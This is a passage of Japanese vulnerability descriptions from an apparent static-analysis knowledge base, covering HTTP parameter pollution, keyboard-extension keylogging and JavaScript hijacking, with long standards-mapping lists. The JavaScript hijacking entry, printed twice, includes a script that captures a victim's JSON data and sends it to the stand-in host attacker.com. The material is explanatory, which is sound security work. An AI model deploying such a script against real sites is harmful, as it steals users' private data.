[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.http_parameter_pollution
Abstract
未検証の入力を URL に連結すると、攻撃者にリクエストパラメーターの値の上書きを許します。攻撃者が、既存のパラメーターの値を上書きしたり、新しいパラメーターを挿入したり、直接到達できない変数を不当に使用することを可能にする恐れがあります。
Explanation
HPP (HTTP Parameter Pollution) 攻撃は、エンコードしたクエリ文字列区切り記号を既存のパラメーターに挿入することで構成されます。Web アプリケーションがユーザー入力の不要部分を適切に削除しない場合、悪意のあるユーザーがアプリケーションのロジックを悪用して、クライアント側またはサーバー側の攻撃を行う可能性があります。Web アプリケーションに追加のパラメーターを発行し、これらのパラメーターが既存のパラメーターと同じ名前を持っている場合、Web アプリケーションは以下のいずれかで反応します。

最初のパラメーターのデータのみ取得する。
最後のパラメーターのデータのみ取得する。
すべてのパラメーターからデータを取得し、それらを連結する。


例:
- ASP.NET/IIS は、出現するすべてのパラメーターを使用します
- Apache Tomcat は、最初に出現したもののみを使用し、それ以外は無視します
- mod_perl/Apache は、値を値の配列に変換します

例 1: アプリケーションサーバーとアプリケーション自体のロジックに応じて、以下のリクエストが認証システムを混乱させ、攻撃者に他のユーザーの偽装を許す可能性があります。
http://www.server.com/login.php?name=alice&name=hacker

上記のように、攻撃者はすでに name=alice を指定していますが、さらに name=alice& を追加しています。これが最初に出現するサーバーで使用されると、alice になりすましてそのアカウントに関する情報をさらに取得します。
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.http_parameter_pollution
Abstract
アプリケーションでは、サード パーティのキーボード拡張をインストールできます。
Explanation
キーボード拡張では、ユーザーが入力したすべてのキーボード操作を読み取ることができます。サードパーティのキーボードは通常、テキスト入力を容易にするため、または絵文字を追加するために使用され、ユーザーが入力した内容または処理のためにリモート サーバーに送信した内容を記録できます。キーロガーとして使用するために悪意のあるキーボードを配布し、ユーザーが入力したすべてのキーを読み取って、認証情報やクレジット カード番号などの機密データを盗むこともできます。
References
[1] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[2] UIApplicationDelegate Apple
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[13] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
desc.structural.objc.input_interception_keyboard_extensions_allowed
Abstract
アプリケーションでは、サード パーティのキーボード拡張をインストールできます。
Explanation
キーボード拡張では、ユーザーが入力したすべてのキーボード操作を読み取ることができます。サードパーティのキーボードは通常、テキスト入力を容易にするため、または絵文字を追加するために使用され、ユーザーが入力した内容または処理のためにリモート サーバーに送信した内容を記録できます。キーロガーとして使用するために悪意のあるキーボードを配布し、ユーザーが入力したすべてのキーを読み取って、認証情報やクレジット カード番号などの機密データを盗むこともできます。
References
[1] UIApplicationDelegate Apple
[2] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[13] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
desc.structural.swift.input_interception_keyboard_extensions_allowed
Abstract
機密データの転送のために JavaScript 表記を使用するアプリケーションは、JavaScript 乗っ取り攻撃に対して脆弱である可能性があり、権限のない攻撃者が機密データを読み取ることができるようになります。
Explanation
アプリケーションは、データ転送形式として JavaScript オブジェクトを使用する場合、および機密データを扱う場合に、JavaScript 乗っ取り攻撃に対して脆弱となる可能性があります。JavaScript 乗っ取り攻撃はコード作成ミスの直接的な結果として発生するものではありません。そのため、Fortify Secure Coding Rulepacks では、HTTP レスポンスで JavaScript を生成する可能性があるコードを識別して、潜在的な JavaScript 乗っ取り攻撃の脆弱性に注意するよう呼び掛けています。

Web ブラウザでは、悪意ある Web サイトからユーザーを保護するために同一生成元ポリシーが強制されます。同一生成元ポリシーでは、JavaScript が Web ページのコンテンツにアクセスできるように、JavaScript および Web ページの両方が同じドメインを由来としていることが必要とされます。同一生成元ポリシーが適用されない場合、他の Web サイトからクライアントの証明書を使用して機密性の高い情報をロードして選び取り、攻撃者にこれらの情報を戻す JavaScript が悪意ある Web サイトによって仕組まれる可能性があります。JavaScript 乗っ取り攻撃により、Web アプリケーションが機密情報のやり取りに JavaScript を使用する場合に、攻撃者は 同一生成元ポリシーを回避することが可能となります。同一生成元ポリシーに抜け穴があると、任意の Web サイトの JavaScript が追加され他の Web サイトのコンテンツが実行されることになります。悪意あるサイトはクライアント上の脆弱なサイトからロードされたデータを直接調べることはできませんが、JavaScript の実行やその実行によって引き起こされる副次的な状況を把握できる環境を整えるという方法で、この抜け穴を利用することができます。多くの Web 2.0 アプリケーションはデータ転送メカニズムとして JavaScript を使用しているため、脆弱となるケースが多くなっています (通常の Web アプリケーションは脆弱ではありません)。

JavaScript で情報をやり取りする場合の最も一般的な形式は JavaScript Object Notation (JSON) です。JSON RFC により、JSON 構文は JavaScript オブジェクトリテラル構文のサブセットとして定義されています。JSON は、配列とオブジェクトの 2 種類のデータ構造に基づいています。メッセージを 1 つ以上の有効な JavaScript ステートメントとして解釈することができるあらゆるデータ転送形式は、JavaScript 乗っ取り攻撃に対して脆弱です。JSON 配列は有効な JavaScript ステートメントとして独立しているため、JSON では JavaScript 乗っ取り攻撃を受けやすくなります。配列はリストをやり取りする場合に最も一般的に使用される形式であるため、アプリケーションが複数の値をやり取りする必要がある場合には頻繁に使用されます。言い換えれば、JSON 配列は JavaScript 乗っ取り攻撃に対して直接脆弱となっています。JSON オブジェクトは有効な JavaScript ステートメントとして独立している別の JavaScript 構造体にラップされる場合にのみ、脆弱となります。

例 1: 次の例ではまず、有益な顧客リストを管理するために使用される Web アプリケーションのクライアント コンポーネントおよびサーバー コンポーネント間における正規の JSON の相互処理について示します。次に、攻撃者がクライアントになりすまし、サーバーが返す機密データにアクセスする方法を示します。この例は Mozilla ベースのブラウザについて記述したものです。他の主要なブラウザでは、新しい演算子を使用せずにオブジェクトが作成される場合にネイティブ構造体は上書きできなくなっています。

クライアントはサーバーからデータをリクエストして、次のコードで JSON として結果を評価します。


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


このコードが実行されると、次のような HTTP リクエストが生成されます。


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(この HTTP レスポンスおよび後続のコードでは、この説明に直接関係のない HTTP ヘッダーは省略されています。)
サーバーは JSON 形式の配列を使用してレスポンスします。


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


この場合、JSON には現在のユーザーに関する機密情報 (有益な顧客リスト) が含まれています。このユーザーのセッション ID を把握していない場合、他のユーザーはこの情報にはアクセスできません(最近の Web アプリケーションは、セッション ID は cookie として保存されます)。しかし、ユーザー (被害者) が悪意ある Web サイトにアクセスすると、この悪意あるサイトは JavaScript 乗っ取り攻撃によりこの情報を取得することが可能となります。ユーザーが以下のような悪意あるコードが含む Web ページにアクセスするように仕組まれる場合、この被害者の顧客リストが攻撃者の Web サイトに送信されてしまいます。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


この悪意あるコードでは、現在のページに JSON オブジェクトを追加するためにスクリプトタグが使用されています。Web ブラウザは、リクエストと共に適切なセッション cookie を送信します。言い換えると、このリクエストは正規のアプリケーションから出されたものとして処理されます。

JSON 配列がこのクライアントに到着すると、悪意あるページのコンテキストで評価されます。JSON の評価を見るために、悪意あるページでは新しいオブジェクトを作成するようにこの JavaScript 関数が再定義されています。このように、悪意あるコードにより仕掛けが挿入され、作成された各オブジェクトにアクセスされオブジェクトのコンテンツが悪意あるサイトへ転送されるようになります。また、他の攻撃により配列のデフォルトの構造体が上書きされる場合もあります。マッシュアップでの使用を目的としてビルドされているアプリケーションは、各 JavaScript メッセージの最後でコールバック関数を呼び出すことがあります。このコールバック関数は、マッシュアップにおける他のアプリケーションにより定義されるようになっています。このコールバック関数の存在が JavaScript 乗っ取り攻撃の実行を容易にしています。攻撃者が実行する必要があるのは、関数を定義することだけです。アプリケーションはマッシュアップ対応にすることもできます。また、セキュリティを重視するようにすることもできますが、それらを両立することはできません。脆弱なサイト ユーザーがログインすると、攻撃者はユーザーにログインするように求め、次にアプリケーションの正規のログイン ページを表示することで、この攻撃を行うことができます。

攻撃者はユーザーの認証情報にはアクセスできませんので、これはフィッシング攻撃ではありません。そのため、フィッシング攻撃への対応策では、この攻撃を防ぐことはできません。さらに複雑な攻撃では、動的にスクリプトタグを生成する JavaScript を使用し、アプリケーションに対して一連のリクエストを行うことが可能です。これと同じ手法はアプリケーションマッシュアップを作成するために使用されます。このマッシュアップシナリオにおける唯一の相違点は、関連付けられるアプリケーションの 1 つが悪意あるものであることです。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.java.javascript_hijacking
Abstract
機密データの転送のために JavaScript 表記を使用するアプリケーションは、JavaScript 乗っ取り攻撃に対して脆弱である可能性があり、権限のない攻撃者が機密データを読み取ることができるようになります。
Explanation
アプリケーションは、データ転送形式として JavaScript オブジェクトを使用する場合、および機密データを扱う場合に、JavaScript 乗っ取り攻撃に対して脆弱となる可能性があります。JavaScript 乗っ取り攻撃はコード作成ミスの直接的な結果として発生するものではありません。そのため、Fortify Secure Coding Rulepacks では、HTTP レスポンスで JavaScript を生成する可能性があるコードを識別して、潜在的な JavaScript 乗っ取り攻撃の脆弱性に注意するよう呼び掛けています。

Web ブラウザーは、悪意のある Web サイトからユーザーを保護するために、同一生成元ポリシーを適用します。同一生成元ポリシーは、JavaScript が Web ページのコンテンツにアクセスできるように、JavaScript と Web ページの両方が同じドメインを由来としていることを求めます。同一生成元ポリシーが適用されない場合、他の Web サイトからクライアントの証明書を使用して機密性の高い情報をロードして選び取り、攻撃者にこれらの情報を戻す JavaScript が悪意ある Web サイトによって仕組まれる可能性があります。JavaScript 乗っ取り攻撃により、Web アプリケーションが JavaScript を使用して機密情報を通信する場合、攻撃者が同一生成元ポリシーをバイパスできてしまいます。同一生成元ポリシーの抜け穴は、Web サイトの JavaScript を他の Web サイトのコンテキストに組み込んで実行できてしまうことです。悪意のあるサイトは、クライアントの脆弱なサイトから読み込まれたデータを直接調べることはできませんが、JavaScript の実行とそれに関連する副作用を監視する環境を構築することで、この抜け穴を利用します。従来の Web アプリケーションとは異なり、多くの Web 2.0 アプリケーションはデータ転送メカニズムとして JavaScript を使用しているため脆弱です。

JavaScript で情報をやり取りする場合の最も一般的な形式は JavaScript Object Notation (JSON) です。JSON RFC により、JSON 構文は JavaScript オブジェクトリテラル構文のサブセットとして定義されています。JSON は、配列とオブジェクトの 2 種類のデータ構造に基づいています。メッセージを 1 つ以上の有効な JavaScript ステートメントとして解釈することができるあらゆるデータ転送形式は、JavaScript 乗っ取り攻撃に対して脆弱です。JSON 配列は有効な JavaScript ステートメントとして独立しているため、JSON では JavaScript 乗っ取り攻撃を受けやすくなります。配列はリストをやり取りする場合に最も一般的に使用される形式であるため、アプリケーションが複数の値をやり取りする必要がある場合には頻繁に使用されます。言い換えれば、JSON 配列は JavaScript 乗っ取り攻撃に対して直接脆弱となっています。JSON オブジェクトは有効な JavaScript ステートメントとして独立している別の JavaScript 構造体にラップされる場合にのみ、脆弱となります。

例 1: 次の例ではまず、有益な顧客リストを管理するために使用される Web アプリケーションのクライアント コンポーネントおよびサーバー コンポーネント間における正規の JSON の相互処理について示します。次に、攻撃者がクライアントになりすまし、サーバーが返す機密データにアクセスする方法を示します。この例は Mozilla ベースのブラウザについて記述したものです。他の主要なブラウザでは、新しい演算子を使用せずにオブジェクトが作成される場合にネイティブ構造体は上書きできなくなっています。

クライアントはサーバーからデータをリクエストして、次のコードで JSON として結果を評価します。

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


このコードが実行されると、次のような HTTP リクエストが生成されます。


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(この HTTP レスポンスおよび後続のコードでは、この説明に直接関係のない HTTP ヘッダーは省略されています。)
サーバーは JSON 形式の配列を使用してレスポンスします。


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


この場合、JSON には現在のユーザーに関する機密情報 (有益な顧客リスト) が含まれています。このユーザーのセッション ID を把握していない場合、他のユーザーはこの情報にはアクセスできません(最近の Web アプリケーションは、セッション ID は cookie として保存されます)。しかし、ユーザー (被害者) が悪意ある Web サイトにアクセスすると、この悪意あるサイトは JavaScript 乗っ取り攻撃によりこの情報を取得することが可能となります。ユーザーが以下のような悪意あるコードが含む Web ページにアクセスするように仕組まれる場合、この被害者の顧客リストが攻撃者の Web サイトに送信されてしまいます。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


この悪意あるコードでは、現在のページに JSON オブジェクトを追加するためにスクリプトタグが使用されています。Web ブラウザは、リクエストと共に適切なセッション cookie を送信します。言い換えると、このリクエストは正規のアプリケーションから出されたものとして処理されます。

JSON 配列がこのクライアントに到着すると、悪意あるページのコンテキストで評価されます。JSON の評価を見るために、悪意あるページでは新しいオブジェクトを作成するようにこの JavaScript 関数が再定義されています。このように、悪意あるコードにより仕掛けが挿入され、作成された各オブジェクトにアクセスされオブジェクトのコンテンツが悪意あるサイトへ転送されるようになります。また、他の攻撃により配列のデフォルトの構造体が上書きされる場合もあります。マッシュアップでの使用を目的としてビルドされているアプリケーションは、各 JavaScript メッセージの最後でコールバック関数を呼び出すことがあります。このコールバック関数は、マッシュアップにおける他のアプリケーションにより定義されるようになっています。このコールバック関数の存在が JavaScript 乗っ取り攻撃の実行を容易にしています。攻撃者が実行する必要があるのは、関数を定義することだけです。アプリケーションはマッシュアップ対応にすることもできます。また、セキュリティを重視するようにすることもできますが、それらを両立することはできません。脆弱なサイト ユーザーがログインすると、攻撃者はユーザーにログインするように求め、次にアプリケーションの正規のログイン ページを表示することで、この攻撃を行うことができます。

攻撃者はユーザーの認証情報にはアクセスできませんので、これはフィッシング攻撃ではありません。そのため、フィッシング攻撃への対応策では、この攻撃を防ぐことはできません。さらに複雑な攻撃では、動的にスクリプトタグを生成する JavaScript を使用し、アプリケーションに対して一連のリクエストを行うことが可能です。これと同じ手法はアプリケーションマッシュアップを作成するために使用されます。このマッシュアップシナリオにおける唯一の相違点は、関連付けられるアプリケーションの 1 つが悪意あるものであることです。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
